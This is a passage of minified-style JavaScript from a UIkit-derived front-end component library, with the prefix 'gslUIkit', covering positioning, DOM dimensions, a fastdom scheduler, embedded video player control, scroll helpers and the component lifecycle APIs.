return elAttach[dir] === 'center' && (
apply(centerOffset, centerTargetOffset)
|| apply(-centerOffset, -centerTargetOffset)
) || apply(elemOffset, targetOffset);
}
function apply(elemOffset, targetOffset) {
var newVal = position[align] + elemOffset + targetOffset - elOffset[dir] * 2;
if (newVal >= boundary[align] && newVal + dim[prop] <= boundary[alignFlip]) {
position[align] = newVal;
['element', 'target'].forEach(function (el) {
flipped[el][dir] = !elemOffset
? flipped[el][dir]
: flipped[el][dir] === dirs[prop][1]
? dirs[prop][2]
: dirs[prop][1];
});
return true;
}
}
});
});
}
offset(element, position);
return flipped;
}
function offset(element, coordinates) {
if (!coordinates) {
return getDimensions(element);
}
var currentOffset = offset(element);
var pos = css(element, 'position');
['left', 'top'].forEach(function (prop) {
if (prop in coordinates) {
var value = css(element, prop);
css(element, prop, coordinates[prop] - currentOffset[prop]
+ toFloat(pos === 'absolute' && value === 'auto'
? position(element)[prop]
: value)
);
}
});
}
function getDimensions(element) {
if (!element) {
return {};
}
var ref = toWindow(element);
var top = ref.pageYOffset;
var left = ref.pageXOffset;
if (isWindow(element)) {
var height = element.innerHeight;
var width = element.innerWidth;
return {
top: top,
left: left,
height: height,
width: width,
bottom: top + height,
right: left + width
};
}
var style, hidden;
if (!isVisible(element) && css(element, 'display') === 'none') {
style = attr(element, 'style');
hidden = attr(element, 'hidden');
attr(element, {
style: ((style || '') + ";display:block !important;"),
hidden: null
});
}
element = toNode(element);
var rect = element.getBoundingClientRect();
if (!isUndefined(style)) {
attr(element, {style: style, hidden: hidden});
}
return {
height: rect.height,
width: rect.width,
top: rect.top + top,
left: rect.left + left,
bottom: rect.bottom + top,
right: rect.right + left
};
}
function position(element, parent) {
var elementOffset = offset(element);
var parentOffset = offset(parent || toNode(element).offsetParent || toWindow(element).document.documentElement);
return {top: elementOffset.top - parentOffset.top, left: elementOffset.left - parentOffset.left};
}
function offsetPosition(element) {
var offset = [0, 0];
element = toNode(element);
do {
offset[0] += element.offsetTop;
offset[1] += element.offsetLeft;
if (css(element, 'position') === 'fixed') {
var win = toWindow(element);
offset[0] += win.pageYOffset;
offset[1] += win.pageXOffset;
return offset;
}
} while ((element = element.offsetParent));
return offset;
}
var height = dimension('height');
var width = dimension('width');
function dimension(prop) {
var propName = ucfirst(prop);
return function (element, value) {
if (isUndefined(value)) {
if (isWindow(element)) {
return element[("inner" + propName)];
}
if (isDocument(element)) {
var doc = element.documentElement;
return Math.max(doc[("offset" + propName)], doc[("scroll" + propName)]);
}
element = toNode(element);
value = css(element, prop);
value = value === 'auto' ? element[("offset" + propName)] : toFloat(value) || 0;
return value - boxModelAdjust(element, prop);
} else {
css(element, prop, !value && value !== 0
? ''
: +value + boxModelAdjust(element, prop) + 'px'
);
}
};
}
function boxModelAdjust(element, prop, sizing) {
if ( sizing === void 0 ) sizing = 'border-box';
return css(element, 'boxSizing') === sizing
? dirs[prop].slice(1).map(ucfirst).reduce(function (value, prop) { return value
+ toFloat(css(element, ("padding" + prop)))
+ toFloat(css(element, ("border" + prop + "Width"))); }
, 0)
: 0;
}
function moveTo(position, attach, dim, factor) {
each(dirs, function (ref, prop) {
var dir = ref[0];
var align = ref[1];
var alignFlip = ref[2];
if (attach[dir] === alignFlip) {
position[align] += dim[prop] * factor;
} else if (attach[dir] === 'center') {
position[align] += dim[prop] * factor / 2;
}
});
}
function getPos(pos) {
var x = /left|center|right/;
var y = /top|center|bottom/;
pos = (pos || '').split(' ');
if (pos.length === 1) {
pos = x.test(pos[0])
? pos.concat(['center'])
: y.test(pos[0])
? ['center'].concat(pos)
: ['center', 'center'];
}
return {
x: x.test(pos[0]) ? pos[0] : 'center',
y: y.test(pos[1]) ? pos[1] : 'center'
};
}
function getOffsets(offsets, width, height) {
var ref = (offsets || '').split(' ');
var x = ref[0];
var y = ref[1];
return {
x: x ? toFloat(x) * (endsWith(x, '%') ? width / 100 : 1) : 0,
y: y ? toFloat(y) * (endsWith(y, '%') ? height / 100 : 1) : 0
};
}
function flipPosition(pos) {
switch (pos) {
case 'left':
return 'right';
case 'right':
return 'left';
case 'top':
return 'bottom';
case 'bottom':
return 'top';
default:
return pos;
}
}
function toPx(value, property, element) {
if ( property === void 0 ) property = 'width';
if ( element === void 0 ) element = window;
return isNumeric(value)
? +value
: endsWith(value, 'vh')
? percent(height(toWindow(element)), value)
: endsWith(value, 'vw')
? percent(width(toWindow(element)), value)
: endsWith(value, '%')
? percent(getDimensions(element)[property], value)
: toFloat(value);
}
function percent(base, value) {
return base * toFloat(value) / 100;
}
/*
Based on:
Copyright (c) 2016 Wilson Page wilsonpage@me.com
https://github.com/wilsonpage/fastdom
*/
var fastdom = {
reads: [],
writes: [],
read: function(task) {
this.reads.push(task);
scheduleFlush();
return task;
},
write: function(task) {
this.writes.push(task);
scheduleFlush();
return task;
},
clear: function(task) {
return remove$1(this.reads, task) || remove$1(this.writes, task);
},
flush: flush
};
function flush(recursion) {
if ( recursion === void 0 ) recursion = 1;
runTasks(fastdom.reads);
runTasks(fastdom.writes.splice(0, fastdom.writes.length));
fastdom.scheduled = false;
if (fastdom.reads.length || fastdom.writes.length) {
scheduleFlush(recursion + 1);
}
}
var RECURSION_LIMIT = 5;
function scheduleFlush(recursion) {
if (!fastdom.scheduled) {
fastdom.scheduled = true;
if (recursion > RECURSION_LIMIT) {
throw new Error('Maximum recursion limit reached.');
} else if (recursion) {
Promise.resolve().then(function () { return flush(recursion); });
} else {
requestAnimationFrame(function () { return flush(); });
}
}
}
function runTasks(tasks) {
var task;
while ((task = tasks.shift())) {
task();
}
}
function remove$1(array, item) {
var index = array.indexOf(item);
return !!~index && !!array.splice(index, 1);
}
function MouseTracker() {}
MouseTracker.prototype = {
positions: [],
init: function() {
var this$1 = this;
this.positions = [];
var position;
this.unbind = on(document, 'mousemove', function (e) { return position = getEventPos(e, 'page'); });
this.interval = setInterval(function () {
if (!position) {
return;
}
this$1.positions.push(position);
if (this$1.positions.length > 5) {
this$1.positions.shift();
}
}, 50);
},
cancel: function() {
this.unbind && this.unbind();
this.interval && clearInterval(this.interval);
},
movesTo: function(target) {
if (this.positions.length < 2) {
return false;
}
var p = offset(target);
var left = p.left;
var right = p.right;
var top = p.top;
var bottom = p.bottom;
var ref = this.positions;
var prevPosition = ref[0];
var position = last(this.positions);
var path = [prevPosition, position];
if (pointInRect(position, p)) {
return false;
}
var diagonals = [[{x: left, y: top}, {x: right, y: bottom}], [{x: left, y: bottom}, {x: right, y: top}]];
return diagonals.some(function (diagonal) {
var intersection = intersect(path, diagonal);
return intersection && pointInRect(intersection, p);
});
}
};
// Inspired by http://paulbourke.net/geometry/pointlineplane/
function intersect(ref, ref$1) {
var ref_0 = ref[0];
var x1 = ref_0.x;
var y1 = ref_0.y;
var ref_1 = ref[1];
var x2 = ref_1.x;
var y2 = ref_1.y;
var ref$1_0 = ref$1[0];
var x3 = ref$1_0.x;
var y3 = ref$1_0.y;
var ref$1_1 = ref$1[1];
var x4 = ref$1_1.x;
var y4 = ref$1_1.y;
var denominator = (y4 - y3) * (x2 - x1) - (x4 - x3) * (y2 - y1);
// Lines are parallel
if (denominator === 0) {
return false;
}
var ua = ((x4 - x3) * (y1 - y3) - (y4 - y3) * (x1 - x3)) / denominator;
if (ua < 0) {
return false;
}
// Return a object with the x and y coordinates of the intersection
return {x: x1 + ua * (x2 - x1), y: y1 + ua * (y2 - y1)};
}
var strats = {};
strats.events =
strats.created =
strats.beforeConnect =
strats.connected =
strats.beforeDisconnect =
strats.disconnected =
strats.destroy = concatStrat;
// args strategy
strats.args = function (parentVal, childVal) {
return childVal !== false && concatStrat(childVal || parentVal);
};
// update strategy
strats.update = function (parentVal, childVal) {
return sortBy(concatStrat(parentVal, isFunction(childVal) ? {read: childVal} : childVal), 'order');
};
// property strategy
strats.props = function (parentVal, childVal) {
if (isArray(childVal)) {
childVal = childVal.reduce(function (value, key) {
value[key] = String;
return value;
}, {});
}
return strats.methods(parentVal, childVal);
};
// extend strategy
strats.computed =
strats.methods = function (parentVal, childVal) {
return childVal
? parentVal
? assign({}, parentVal, childVal)
: childVal
: parentVal;
};
// data strategy
strats.data = function (parentVal, childVal, vm) {
if (!vm) {
if (!childVal) {
return parentVal;
}
if (!parentVal) {
return childVal;
}
return function (vm) {
return mergeFnData(parentVal, childVal, vm);
};
}
return mergeFnData(parentVal, childVal, vm);
};
function mergeFnData(parentVal, childVal, vm) {
return strats.computed(
isFunction(parentVal)
? parentVal.call(vm, vm)
: parentVal,
isFunction(childVal)
? childVal.call(vm, vm)
: childVal
);
}
// concat strategy
function concatStrat(parentVal, childVal) {
parentVal = parentVal && !isArray(parentVal) ? [parentVal] : parentVal;
return childVal
? parentVal
? parentVal.concat(childVal)
: isArray(childVal)
? childVal
: [childVal]
: parentVal;
}
// default strategy
function defaultStrat(parentVal, childVal) {
return isUndefined(childVal) ? parentVal : childVal;
}
function mergeOptions(parent, child, vm) {
var options = {};
if (isFunction(child)) {
child = child.options;
}
if (child.extends) {
parent = mergeOptions(parent, child.extends, vm);
}
if (child.mixins) {
for (var i = 0, l = child.mixins.length; i < l; i++) {
parent = mergeOptions(parent, child.mixins[i], vm);
}
}
for (var key in parent) {
mergeKey(key);
}
for (var key$1 in child) {
if (!hasOwn(parent, key$1)) {
mergeKey(key$1);
}
}
function mergeKey(key) {
options[key] = (strats[key] || defaultStrat)(parent[key], child[key], vm);
}
return options;
}
function parseOptions(options, args) {
var obj;
if ( args === void 0 ) args = [];
try {
return !options
? {}
: startsWith(options, '{')
? JSON.parse(options)
: args.length && !includes(options, ':')
? (( obj = {}, obj[args[0]] = options, obj ))
: options.split(';').reduce(function (options, option) {
var ref = option.split(/:(.*)/);
var key = ref[0];
var value = ref[1];
if (key && !isUndefined(value)) {
options[key.trim()] = value.trim();
}
return options;
}, {});
} catch (e) {
return {};
}
}
var id = 0;
var Player = function(el) {
this.id = ++id;
this.el = toNode(el);
};
Player.prototype.isVideo = function () {
return this.isYoutube() || this.isVimeo() || this.isHTML5();
};
Player.prototype.isHTML5 = function () {
return this.el.tagName === 'VIDEO';
};
Player.prototype.isIFrame = function () {
return this.el.tagName === 'IFRAME';
};
Player.prototype.isYoutube = function () {
return this.isIFrame() && !!this.el.src.match(/\/\/.*?youtube(-nocookie)?\.[a-z]+\/(watch\?v=[^&\s]+|embed)|youtu\.be\/.*/);
};
Player.prototype.isVimeo = function () {
return this.isIFrame() && !!this.el.src.match(/vimeo\.com\/video\/.*/);
};
Player.prototype.enableApi = function () {
var this$1 = this;
if (this.ready) {
return this.ready;
}
var youtube = this.isYoutube();
var vimeo = this.isVimeo();
var poller;
if (youtube || vimeo) {
return this.ready = new Promise(function (resolve) {
once(this$1.el, 'load', function () {
if (youtube) {
var listener = function () { return post(this$1.el, {event: 'listening', id: this$1.id}); };
poller = setInterval(listener, 100);
listener();
}
});
listen(function (data) { return youtube && data.id === this$1.id && data.event === 'onReady' || vimeo && Number(data.player_id) === this$1.id; })
.then(function () {
resolve();
poller && clearInterval(poller);
});
attr(this$1.el, 'src', ("" + (this$1.el.src) + (includes(this$1.el.src, '?') ? '&' : '?') + (youtube ? 'enablejsapi=1' : ("api=1&player_id=" + (this$1.id)))));
});
}
return Promise.resolve();
};
Player.prototype.play = function () {
var this$1 = this;
if (!this.isVideo()) {
return;
}
if (this.isIFrame()) {
this.enableApi().then(function () { return post(this$1.el, {func: 'playVideo', method: 'play'}); });
} else if (this.isHTML5()) {
try {
var promise = this.el.play();
if (promise) {
promise.catch(noop);
}
} catch (e) {}
}
};
Player.prototype.pause = function () {
var this$1 = this;
if (!this.isVideo()) {
return;
}
if (this.isIFrame()) {
this.enableApi().then(function () { return post(this$1.el, {func: 'pauseVideo', method: 'pause'}); });
} else if (this.isHTML5()) {
this.el.pause();
}
};
Player.prototype.mute = function () {
var this$1 = this;
if (!this.isVideo()) {
return;
}
if (this.isIFrame()) {
this.enableApi().then(function () { return post(this$1.el, {func: 'mute', method: 'setVolume', value: 0}); });
} else if (this.isHTML5()) {
this.el.muted = true;
attr(this.el, 'muted', '');
}
};
function post(el, cmd) {
try {
el.contentWindow.postMessage(JSON.stringify(assign({event: 'command'}, cmd)), '*');
} catch (e) {}
}
function listen(cb) {
return new Promise(function (resolve) {
once(window, 'message', function (_, data) { return resolve(data); }, false, function (ref) {
var data = ref.data;
if (!data || !isString(data)) {
return;
}
try {
data = JSON.parse(data);
} catch (e) {
return;
}
return data && cb(data);
});
});
}
function isInView(element, offsetTop, offsetLeft) {
if ( offsetTop === void 0 ) offsetTop = 0;
if ( offsetLeft === void 0 ) offsetLeft = 0;
if (!isVisible(element)) {
return false;
}
var parents = overflowParents(element).concat(element);
for (var i = 0; i < parents.length - 1; i++) {
var ref = offset(getViewport(parents[i]));
var top = ref.top;
var left = ref.left;
var bottom = ref.bottom;
var right = ref.right;
var vp = {
top: top - offsetTop,
left: left - offsetLeft,
bottom: bottom + offsetTop,
right: right + offsetLeft
};
var client = offset(parents[i + 1]);
if (!intersectRect(client, vp) && !pointInRect({x: client.left, y: client.top}, vp)) {
return false;
}
}
return true;
}
function scrollTop(element, top) {
if (isWindow(element) || isDocument(element)) {
element = getScrollingElement(element);
} else {
element = toNode(element);
}
element.scrollTop = top;
}
function scrollIntoView(element, ref) {
if ( ref === void 0 ) ref = {};
var duration = ref.duration; if ( duration === void 0 ) duration = 1000;
var offset = ref.offset; if ( offset === void 0 ) offset = 0;
if (!isVisible(element)) {
return;
}
var parents = overflowParents(element).concat(element);
duration /= parents.length - 1;
var promise = Promise.resolve();
var loop = function ( i ) {
promise = promise.then(function () { return new Promise(function (resolve) {
var scrollElement = parents[i];
var element = parents[i + 1];
var scroll = scrollElement.scrollTop;
var top = position(element, getViewport(scrollElement)).top - offset;
var start = Date.now();
var step = function () {
var percent = ease(clamp((Date.now() - start) / duration));
scrollTop(scrollElement, scroll + top * percent);
// scroll more if we have not reached our destination
if (percent !== 1) {
requestAnimationFrame(step);
} else {
resolve();
}
};
step();
}); }
);
};
for (var i = 0; i < parents.length - 1; i++) loop( i );
return promise;
function ease(k) {
return 0.5 * (1 - Math.cos(Math.PI * k));
}
}
function scrolledOver(element, heightOffset) {
if ( heightOffset === void 0 ) heightOffset = 0;
if (!isVisible(element)) {
return 0;
}
var scrollElement = last(scrollParents(element));
var scrollHeight = scrollElement.scrollHeight;
var scrollTop = scrollElement.scrollTop;
var viewport = getViewport(scrollElement);
var viewportHeight = offset(viewport).height;
var viewportTop = offsetPosition(element)[0] - scrollTop - offsetPosition(scrollElement)[0];
var viewportDist = Math.min(viewportHeight, viewportTop + scrollTop);
var top = viewportTop - viewportDist;
var dist = Math.min(
offset(element).height + heightOffset + viewportDist,
scrollHeight - (viewportTop + scrollTop),
scrollHeight - viewportHeight
);
return clamp(-1 * top / dist);
}
function scrollParents(element, overflowRe) {
if ( overflowRe === void 0 ) overflowRe = /auto|scroll/;
var scrollEl = getScrollingElement(element);
var scrollParents = parents(element).filter(function (parent) { return parent === scrollEl
|| overflowRe.test(css(parent, 'overflow'))
&& parent.scrollHeight > offset(parent).height; }
).reverse();
return scrollParents.length ? scrollParents : [scrollEl];
}
function getViewport(scrollElement) {
return scrollElement === getScrollingElement(scrollElement) ? window : scrollElement;
}
function overflowParents(element) {
return scrollParents(element, /auto|scroll|hidden/);
}
function getScrollingElement(element) {
var ref = toWindow(element);
var document = ref.document;
return document.scrollingElement || document.documentElement;
}
var IntersectionObserver = 'IntersectionObserver' in window
? window.IntersectionObserver
: /*@__PURE__*/(function () {
function IntersectionObserverClass(callback, ref) {
var this$1 = this;
if ( ref === void 0 ) ref = {};
var rootMargin = ref.rootMargin; if ( rootMargin === void 0 ) rootMargin = '0 0';
this.targets = [];
var ref$1 = (rootMargin || '0 0').split(' ').map(toFloat);
var offsetTop = ref$1[0];
var offsetLeft = ref$1[1];
this.offsetTop = offsetTop;
this.offsetLeft = offsetLeft;
var pending;
this.apply = function () {
if (pending) {
return;
}
pending = requestAnimationFrame(function () { return setTimeout(function () {
var records = this$1.takeRecords();
if (records.length) {
callback(records, this$1);
}
pending = false;
}); });
};
this.off = on(window, 'scroll resize load', this.apply, {passive: true, capture: true});
}
IntersectionObserverClass.prototype.takeRecords = function () {
var this$1 = this;
return this.targets.filter(function (entry) {
var inView = isInView(entry.target, this$1.offsetTop, this$1.offsetLeft);
if (entry.isIntersecting === null || inView ^ entry.isIntersecting) {
entry.isIntersecting = inView;
return true;
}
});
};
IntersectionObserverClass.prototype.observe = function (target) {
this.targets.push({
target: target,
isIntersecting: null
});
this.apply();
};
IntersectionObserverClass.prototype.disconnect = function () {
this.targets = [];
this.off();
};
return IntersectionObserverClass;
}());
var util = /*#__PURE__*/Object.freeze({
__proto__: null,
ajax: ajax,
getImage: getImage,
transition: transition,
Transition: Transition,
animate: animate,
Animation: Animation,
attr: attr,
hasAttr: hasAttr,
removeAttr: removeAttr,
data: data,
addClass: addClass,
removeClass: removeClass,
removeClasses: removeClasses,
replaceClass: replaceClass,
hasClass: hasClass,
toggleClass: toggleClass,
positionAt: positionAt,
offset: offset,
position: position,
offsetPosition: offsetPosition,
height: height,
width: width,
boxModelAdjust: boxModelAdjust,
flipPosition: flipPosition,
toPx: toPx,
ready: ready,
index: index,
getIndex: getIndex,
empty: empty,
html: html,
prepend: prepend,
append: append,
before: before,
after: after,
remove: remove,
wrapAll: wrapAll,
wrapInner: wrapInner,
unwrap: unwrap,
fragment: fragment,
apply: apply,
$: $,
$$: $$,
isIE: isIE,
isRtl: isRtl,
hasTouch: hasTouch,
pointerDown: pointerDown,
pointerMove: pointerMove,
pointerUp: pointerUp,
pointerEnter: pointerEnter,
pointerLeave: pointerLeave,
pointerCancel: pointerCancel,
on: on,
off: off,
once: once,
trigger: trigger,
createEvent: createEvent,
toEventTargets: toEventTargets,
isTouch: isTouch,
getEventPos: getEventPos,
fastdom: fastdom,
isVoidElement: isVoidElement,
isVisible: isVisible,
selInput: selInput,
isInput: isInput,
filter: filter,
within: within,
hasOwn: hasOwn,
hyphenate: hyphenate,
camelize: camelize,
ucfirst: ucfirst,
startsWith: startsWith,
endsWith: endsWith,
includes: includes,
findIndex: findIndex,
isArray: isArray,
isFunction: isFunction,
isObject: isObject,
isPlainObject: isPlainObject,
isWindow: isWindow,
isDocument: isDocument,
isJQuery: isJQuery,
isNode: isNode,
isElement: isElement,
isNodeCollection: isNodeCollection,
isBoolean: isBoolean,
isString: isString,
isNumber: isNumber,
isNumeric: isNumeric,
isEmpty: isEmpty,
isUndefined: isUndefined,
toBoolean: toBoolean,
toNumber: toNumber,
toFloat: toFloat,
toNode: toNode,
toNodes: toNodes,
toWindow: toWindow,
toList: toList,
toMs: toMs,
isEqual: isEqual,
swap: swap,
assign: assign,
last: last,
each: each,
sortBy: sortBy,
uniqueBy: uniqueBy,
clamp: clamp,
noop: noop,
intersectRect: intersectRect,
pointInRect: pointInRect,
Dimensions: Dimensions,
MouseTracker: MouseTracker,
mergeOptions: mergeOptions,
parseOptions: parseOptions,
Player: Player,
Promise: Promise,
Deferred: Deferred,
IntersectionObserver: IntersectionObserver,
query: query,
queryAll: queryAll,
find: find,
findAll: findAll,
matches: matches,
closest: closest,
parent: parent,
parents: parents,
children: children,
escape: escape,
css: css,
getStyles: getStyles,
getStyle: getStyle,
getCssVar: getCssVar,
propName: propName,
isInView: isInView,
scrollTop: scrollTop,
scrollIntoView: scrollIntoView,
scrolledOver: scrolledOver,
scrollParents: scrollParents,
getViewport: getViewport
});
function globalAPI (gslUIkit) {
var DATA = gslUIkit.data;
gslUIkit.use = function (plugin) {
if (plugin.installed) {
return;
}
plugin.call(null, this);
plugin.installed = true;
return this;
};
gslUIkit.mixin = function (mixin, component) {
component = (isString(component) ? gslUIkit.component(component) : component) || this;
component.options = mergeOptions(component.options, mixin);
};
gslUIkit.extend = function (options) {
options = options || {};
var Super = this;
var Sub = function gslUIkitComponent(options) {
this._init(options);
};
Sub.prototype = Object.create(Super.prototype);
Sub.prototype.constructor = Sub;
Sub.options = mergeOptions(Super.options, options);
Sub.super = Super;
Sub.extend = Super.extend;
return Sub;
};
gslUIkit.update = function (element, e) {
element = element ? toNode(element) : document.body;
parents(element).reverse().forEach(function (element) { return update(element[DATA], e); });
apply(element, function (element) { return update(element[DATA], e); });
};
var container;
Object.defineProperty(gslUIkit, 'container', {
get: function() {
return container || document.body;
},
set: function(element) {
container = $(element);
}
});
function update(data, e) {
if (!data) {
return;
}
for (var name in data) {
if (data[name]._connected) {
data[name]._callUpdate(e);
}
}
}
}
function hooksAPI (gslUIkit) {
gslUIkit.prototype._callHook = function (hook) {
var this$1 = this;
var handlers = this.$options[hook];
if (handlers) {
handlers.forEach(function (handler) { return handler.call(this$1); });
}
};
gslUIkit.prototype._callConnected = function () {
if (this._connected) {
return;
}
this._data = {};
this._computeds = {};
this._initProps();
this._callHook('beforeConnect');
this._connected = true;
this._initEvents();
this._initObserver();
this._callHook('connected');
this._callUpdate();
};
gslUIkit.prototype._callDisconnected = function () {
if (!this._connected) {
return;
}
this._callHook('beforeDisconnect');
if (this._observer) {
this._observer.disconnect();
this._observer = null;
}
this._unbindEvents();
this._callHook('disconnected');
this._connected = false;
};
gslUIkit.prototype._callUpdate = function (e) {
var this$1 = this;
if ( e === void 0 ) e = 'update';
var type = e.type || e;
if (includes(['update', 'resize'], type)) {
this._callWatches();
}
var updates = this.$options.update;
var ref = this._frames;
var reads = ref.reads;
var writes = ref.writes;
if (!updates) {
return;
}
updates.forEach(function (ref, i) {
var read = ref.read;
var write = ref.write;
var events = ref.events;
if (type !== 'update' && !includes(events, type)) {
return;
}
if (read && !includes(fastdom.reads, reads[i])) {
reads[i] = fastdom.read(function () {
var result = this$1._connected && read.call(this$1, this$1._data, type);
if (result === false && write) {
fastdom.clear(writes[i]);
} else if (isPlainObject(result)) {
assign(this$1._data, result);
}
});
}
if (write && !includes(fastdom.writes, writes[i])) {
writes[i] = fastdom.write(function () { return this$1._connected && write.call(this$1, this$1._data, type); });
}
});
};
}
function stateAPI (gslUIkit) {
var uid = 0;
gslUIkit.prototype._init = function (options) {
options = options || {};
options.data = normalizeData(options, this.constructor.options);
this.$options = mergeOptions(this.constructor.options, options, this);
this.$el = null;
this.$props = {};
this._frames = {reads: {}, writes: {}};
this._events = [];
this._uid = uid++;
this._initData();
this._initMethods();
this._initComputeds();
this._callHook('created');
if (options.el) {
this.$mount(options.el);
}
};
gslUIkit.prototype._initData = function () {
var ref = this.$options;
var data = ref.data; if ( data === void 0 ) data = {};
for (var key in data) {
this.$props[key] = this[key] = data[key];
}
};
gslUIkit.prototype._initMethods = function () {
var ref = this.$options;
var methods = ref.methods;
if (methods) {
for (var key in methods) {
this[key] = methods[key].bind(this);
}
}
};
gslUIkit.prototype._initComputeds = function () {
var ref = this.$options;
var computed = ref.computed;
this._computeds = {};
if (computed) {
for (var key in computed) {
registerComputed(this, key, computed[key]);
}
}
};
gslUIkit.prototype._callWatches = function () {
var ref = this;
var computed = ref.$options.computed;
var _computeds = ref._computeds;
for (var key in _computeds) {
var value = _computeds[key];
delete _computeds[key];
if (computed[key].watch && !isEqual(value, this[key])) {
computed[key].watch.call(this, this[key], value);
}
}
};
gslUIkit.prototype._initProps = function (props) {
var key;
props = props || getProps(this.$options, this.$name);
for (key in props) {
if (!isUndefined(props[key])) {
this.$props[key] = props[key];
}
}
var exclude = [this.$options.computed, this.$options.methods];
for (key in this.$props) {
if (key in props && notIn(exclude, key)) {
this[key] = this.$props[key];
}
}
};
gslUIkit.prototype._initEvents = function () {
var this$1 = this;
var ref = this.$options;
var events = ref.events;
if (events) {
events.forEach(function (event) {
if (!hasOwn(event, 'handler')) {
for (var key in event) {
registerEvent(this$1, event[key], key);
}
} else {
registerEvent(this$1, event);
}
});
}
};
gslUIkit.prototype._unbindEvents = function () {
this._events.forEach(function (unbind) { return unbind(); });
this._events = [];
};
gslUIkit.prototype._initObserver = function () {
var this$1 = this;
var ref = this.$options;
var attrs = ref.attrs;
var props = ref.props;
var el = ref.el;
if (this._observer || !props || attrs === false) {
return;
}
attrs = isArray(attrs) ? attrs : Object.keys(props);
this._observer = new MutationObserver(function () {
var data = getProps(this$1.$options, this$1.$name);
if (attrs.some(function (key) { return !isUndefined(data[key]) && data[key] !== this$1.$props[key]; })) {
this$1.$reset();
}
});
var filter = attrs.map(function (key) { return hyphenate(key); }).concat(this.$name);
this._observer.observe(el, {
attributes: true,
attributeFilter: filter.concat(filter.map(function (key) { return ("data-" + key); }))
});
};
function getProps(opts, name) {
var data$1 = {};
var args = opts.args; if ( args === void 0 ) args = [];
var props = opts.props; if ( props === void 0 ) props = {};
var el = opts.el;
if (!props) {
return data$1;
}
for (var key in props) {
var prop = hyphenate(key);
var value = data(el, prop);
if (!isUndefined(value)) {
value = props[key] === Boolean && value === ''
? true
: coerce(props[key], value);
if (prop === 'target' && (!value || startsWith(value, '_'))) {
continue;
}
data$1[key] = value;
}
}
var options = parseOptions(data(el, name), args);
for (var key$1 in options) {
var prop$1 = camelize(key$1);
if (props[prop$1] !== undefined) {
data$1[prop$1] = coerce(props[prop$1], options[key$1]);
}
}
return data$1;
}
function registerComputed(component, key, cb) {
Object.defineProperty(component, key, {
enumerable: true,
get: function() {
var _computeds = component._computeds;
var $props = component.$props;
var $el = component.$el;
if (!hasOwn(_computeds, key)) {
_computeds[key] = (cb.get || cb).call(component, $props, $el);
}
return _computeds[key];
},
set: function(value) {
var _computeds = component._computeds;
_computeds[key] = cb.set ? cb.set.call(component, value) : value;
if (isUndefined(_computeds[key])) {
delete _computeds[key];
}
}
});
}
function registerEvent(component, event, key) {
if (!isPlainObject(event)) {
event = ({name: key, handler: event});
}
var name = event.name;
var el = event.el;
var handler = event.handler;
var capture = event.capture;
var passive = event.passive;
var delegate = event.delegate;
var filter = event.filter;
var self = event.self;
el = isFunction(el)
? el.call(component)
: el || component.$el;
if (isArray(el)) {
el.forEach(function (el) { return registerEvent(component, assign({}, event, {el: el}), key); });
return;
}
if (!el || filter && !filter.call(component)) {
return;
}
component._events.push(
on(
el,
name,
!delegate
? null
: isString(delegate)
? delegate
: delegate.call(component),
isString(handler) ? component[handler] : handler.bind(component),
{passive: passive, capture: capture, self: self}
)
);
}
function notIn(options, key) {
return options.every(function (arr) { return !arr || !hasOwn(arr, key); });
}
function coerce(type, value) {
if (type === Boolean) {
return toBoolean(value);
} else if (type === Number) {
return toNumber(value);
} else if (type === 'list') {
return toList(value);
}
return type ? type(value) : value;
}
function normalizeData(ref, ref$1) {
var data = ref.data;
var el = ref.el;
var args = ref$1.args;
var props = ref$1.props; if ( props === void 0 ) props = {};
data = isArray(data)
? !isEmpty(args)
? data.slice(0, args.length).reduce(function (data, value, index) {
if (isPlainObject(value)) {
assign(data, value);
} else {
data[args[index]] = value;
}
return data;
}, {})
: undefined
: data;
if (data) {
for (var key in data) {
if (isUndefined(data[key])) {
delete data[key];
} else {
data[key] = props[key] ? coerce(props[key], data[key]) : data[key];
}
}
}
return data;
}
}
function instanceAPI (gslUIkit) {
var DATA = gslUIkit.data;
gslUIkit.prototype.$mount = function (el) {
var ref = this.$options;
var name = ref.name;
if (!el[DATA]) {
el[DATA] = {};
}
if (el[DATA][name]) {
return;
}
el[DATA][name] = this;
this.$el = this.$options.el = this.$options.el || el;
if (within(el, document)) {
this._callConnected();
}
};
gslUIkit.prototype.$emit = function (e) {
this._callUpdate(e);
};
gslUIkit.prototype.$reset = function () {
this._callDisconnected();
this._callConnected();
};
gslUIkit.prototype.$destroy = function (removeEl) {
if ( removeEl === void 0 ) removeEl = false;
var ref = this.$options;
var el = ref.el;
var name = ref.name;
if (el) {
this._callDisconnected();
}
this._callHook('destroy');
if (!el || !el[DATA]) {
return;
}
delete el[DATA][name];
if (!isEmpty(el[DATA])) {
delete el[DATA];
}
if (removeEl) {
remove(this.$el);
}
};
gslUIkit.prototype.$create = function (component, element, data) {
return gslUIkit[component](element, data);
};
gslUIkit.prototype.$update = gslUIkit.update;
gslUIkit.prototype.$getComponent = gslUIkit.getComponent;
var names = {};
Object.defineProperties(gslUIkit.prototype, {
$container: Object.getOwnPropertyDescriptor(gslUIkit, 'container'),
$name: {
get: function() {
var ref = this.$options;
var name = ref.name;
if (!names[name]) {
names[name] = gslUIkit.prefix + hyphenate(name);
}
return names[name];
}
}
});
}
function componentAPI (gslUIkit) {
var DATA = gslUIkit.data;
var components = {};
gslUIkit.component = function (name, options) {
var id = hyphenate(name);
name = camelize(id);
if (!options) {
if (isPlainObject(components[name])) {
components[name] = gslUIkit.extend(components[name]);
}
return components[name];
}
gslUIkit[name] = function (element, data) {
var i = arguments.length, argsArray = Array(i);
while ( i-- ) argsArray[i] = arguments[i];
var component = gslUIkit.component(name);
return component.options.functional
? new component({data: isPlainObject(element) ? element : [].concat( argsArray )})
: !element ? init(element) : $$(element).map(init)[0];
function init(element) {
var instance = gslUIkit.getComponent(element, name);
if (instance) {
if (!data) {
return instance;
} else {
instance.$destroy();
}
}
return new component({el: element, data: data});
}
};
var opt = isPlainObject(options) ? assign({}, options) : options.options;
opt.name = name;
if (opt.install) {
opt.install(gslUIkit, opt, name);
}
if (gslUIkit._initialized && !opt.functional) {
fastdom.read(function () { return gslUIkit[name](("[gsl-" + id + "],[data-gsl-" + id + "]")); });
}
return components[name] = isPlainObject(options) ? opt : options;
};
gslUIkit.getComponents = function (element) { return element && element[DATA] || {}; };
gslUIkit.getComponent = function (element, name) { return gslUIkit.getComponents(element)[name]; };
gslUIkit.connect = function (node) {
if (node[DATA]) {
for (var name in node[DATA]) {
node[DATA][name]._callConnected();
}
}
for (var i = 0; i < node.attributes.length; i++) {
var name$1 = getComponentName(node.attributes[i].name);
if (name$1 && name$1 in components) {
gslUIkit[name$1](node);
}
